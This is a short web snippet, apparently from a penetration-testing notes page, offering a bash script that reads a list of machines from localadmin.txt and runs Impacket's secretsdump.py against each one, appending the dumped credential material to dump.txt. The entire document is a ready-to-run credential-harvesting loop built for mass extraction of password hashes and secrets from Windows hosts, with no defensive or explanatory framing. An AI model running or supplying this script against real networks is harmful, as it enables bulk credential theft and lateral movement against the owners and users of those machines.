Skip to main content

secretsdump loop

Loop through a text file of machines and run secretsdump on them!

# secretsdump - local admin looper - save as looper.sh
#!/bin/bash
File="localadmin.txt"
Lines=$(cat $File)
for Line in $Lines
do
echo --- $Line --- >> dump.txt
echo --------------------- >> dump.txt
sudo python3 /opt/impacket/examples/secretsdump.py -k "$Line" >> dump.txt
echo --------------------- >> dump.txt
done